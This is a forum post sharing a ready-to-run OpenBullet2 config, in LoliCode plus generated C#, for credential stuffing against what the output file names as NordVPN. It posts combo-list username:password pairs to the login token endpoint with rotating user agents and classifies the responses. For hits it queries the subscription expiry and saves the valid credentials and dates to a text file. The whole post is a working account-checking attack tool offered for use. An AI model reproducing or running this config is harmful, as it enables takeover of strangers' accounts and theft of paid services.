Configs
1
Beiträge
1
Benutzer
0
Reactions
1,396
Ansichten
Themenstarter
Link:
LoliCode
BLOCK:RandomUserAgent
platform = Mobile
=> VAR @UserAgent
ENDBLOCK
BLOCK:HttpRequest
url = "https://zwyr157wwiu6eior.com/v1/users/tokens"
method = POST
customHeaders = ${("User-Agent", "<useragent>"), ("Pragma", "no-cache"), ("Accept", "*/*")}
TYPE:STANDARD
$"username=<input.USER>&password=<input.PASS>"
"application/x-www-form-urlencoded"
ENDBLOCK
BLOCK:Keycheck
KEYCHAIN FAIL OR
STRINGKEY @data.SOURCE Contains "\"errors\":"
KEYCHAIN SUCCESS OR
STRINGKEY @data.SOURCE Contains "\"token\":\""
KEYCHAIN RETRY OR
STRINGKEY @data.SOURCE Contains "<center>nginx</center>"
ENDBLOCK
BLOCK:Parse
input = @data.SOURCE
jToken = "token"
MODE:Json
=> VAR @token
ENDBLOCK
BLOCK:Base64Encrypt
Input = $"token:<token>"
=> VAR @tokenen
ENDBLOCK
BLOCK:HttpRequest
url = "https://zwyr157wwiu6eior.com/v1/users/services"
customHeaders = ${("User-Agent", "<useragent>"), ("Authorization", "Basic <tokenen>")}
TYPE:STANDARD
$""
"application/x-www-form-urlencoded"
ENDBLOCK
BLOCK:Parse
input = @data.SOURCE
leftDelim = "\"expires_at\":\""
rightDelim = " "
MODE:LR
=> CAP @ex
ENDBLOCK
BLOCK:DateToUnixTime
datetime = $"<ex>"
format = "yyyy-MM-dd"
=> VAR @ToUnixTime
ENDBLOCK
BLOCK:CurrentUnixTime
=> VAR @UnixTime
ENDBLOCK
BLOCK:Keycheck
KEYCHAIN CUSTOM OR
INTKEY @UnixTime GreaterThan @ToUnixTime
KEYCHAIN SUCCESS OR
INTKEY @ToUnixTime GreaterThan @UnixTime
ENDBLOCK
BLOCK:FileAppendLines
path = "NORD VPN.txt"
lines = $["<input.USER>:<input.PASS> | NGÀY HẾT HẠN:<ex>"]
ENDBLOCK
C#
// BLOCK: Random User Agent
data.ExecutingBlock("Random User Agent");
string UserAgent = RandomUserAgent(data, RuriLib.Providers.UserAgents.UAPlatform.Mobile);
// BLOCK: Http Request
data.ExecutingBlock("Http Request");
await HttpRequestStandard(data, new StandardHttpRequestOptions{Content = $"username={input.USER}&password={input.PASS}", ContentType = "application/x-www-form-urlencoded", UrlEncodeContent = false, Url = "https://zwyr157wwiu6eior.com/v1/users/tokens", Method = RuriLib.Functions.Http.HttpMethod.POST, AutoRedirect = true, MaxNumberOfRedirects = 8, ReadResponseContent = true, AbsoluteUriInFirstLine = false, SecurityProtocol = RuriLib.Functions.Http.SecurityProtocol.SystemDefault, CustomCookies = new Dictionary<string, string>{}, CustomHeaders = new Dictionary<string, string>{{$"User-Agent", $"{UserAgent}"}, {$"Pragma", $"no-cache"}, {$"Accept", $"*/*"}}, TimeoutMilliseconds = 15000, HttpVersion = "1.1", CodePagesEncoding = "", AlwaysSendContent = false, UseCustomCipherSuites = false, CustomCipherSuites = new List<string>{"TLS_AES_128_GCM_SHA256", "TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA"}}).ConfigureAwait(false);
// BLOCK: Keycheck
data.ExecutingBlock("Keycheck");
if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "\"errors\":"))
{
data.STATUS = "FAIL";
return;
}
else if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "\"token\":\""))
{
data.STATUS = "SUCCESS";
}
else if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "<center>nginx</center>"))
{
data.STATUS = "RETRY";
return;
}
else
{
data.STATUS = "BAN";
return;
}
if (CheckGlobalBanKeys(data))
{
data.STATUS = "BAN";
return;
}
if (CheckGlobalRetryKeys(data))
{
data.STATUS = "RETRY";
return;
}
// BLOCK: Parse
data.ExecutingBlock("Parse");
var token = QueryJsonToken(data, data.SOURCE.AsString(), "token", "", "", false);
// BLOCK: Base64 Encrypt
data.ExecutingBlock("Base64 Encrypt");
string tokenen = Base64Encrypt(data, $"token:{token}");
// BLOCK: Http Request
data.ExecutingBlock("Http Request");
await HttpRequestStandard(data, new StandardHttpRequestOptions{Content = $"", ContentType = "application/x-www-form-urlencoded", UrlEncodeContent = false, Url = "https://zwyr157wwiu6eior.com/v1/users/services", Method = RuriLib.Functions.Http.HttpMethod.GET, AutoRedirect = true, MaxNumberOfRedirects = 8, ReadResponseContent = true, AbsoluteUriInFirstLine = false, SecurityProtocol = RuriLib.Functions.Http.SecurityProtocol.SystemDefault, CustomCookies = new Dictionary<string, string>{}, CustomHeaders = new Dictionary<string, string>{{$"User-Agent", $"{UserAgent}"}, {$"Authorization", $"Basic {tokenen}"}}, TimeoutMilliseconds = 15000, HttpVersion = "1.1", CodePagesEncoding = "", AlwaysSendContent = false, UseCustomCipherSuites = false, CustomCipherSuites = new List<string>{"TLS_AES_128_GCM_SHA256", "TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA"}}).ConfigureAwait(false);
// BLOCK: Parse
data.ExecutingBlock("Parse");
var ex = ParseBetweenStrings(data, data.SOURCE.AsString(), "\"expires_at\":\"", " ", true, "", "", false);
data.MarkForCapture(nameof(ex));
// BLOCK: Date To Unix Time
data.ExecutingBlock("Date To Unix Time");
int ToUnixTime = DateToUnixTime(data, $"{ex}", "yyyy-MM-dd");
// BLOCK: Current Unix Time
data.ExecutingBlock("Current Unix Time");
int UnixTime = CurrentUnixTime(data, false);
// BLOCK: Keycheck
data.ExecutingBlock("Keycheck");
if (CheckCondition(data, UnixTime.AsInt(), NumComparison.GreaterThan, ToUnixTime.AsInt()))
{
data.STATUS = "CUSTOM";
return;
}
else if (CheckCondition(data, ToUnixTime.AsInt(), NumComparison.GreaterThan, UnixTime.AsInt()))
{
data.STATUS = "SUCCESS";
}
else
{
data.STATUS = "BAN";
return;
}
if (CheckGlobalBanKeys(data))
{
data.STATUS = "BAN";
return;
}
if (CheckGlobalRetryKeys(data))
{
data.STATUS = "RETRY";
return;
}
// BLOCK: File Append Lines
data.ExecutingBlock("File Append Lines");
await FileAppendLines(data, "NORD VPN.txt", new List<string>{$"{input.USER}:{input.PASS} | NGÀY HẾT HẠN:{ex}"}, RuriLib.Blocks.Utility.Files.FileEncoding.UTF8).ConfigureAwait(false);
Dieses Thema wurde geändert Vor 3 Jahren 2 mal von Unknown
Veröffentlicht : 07/01/2023 17:34
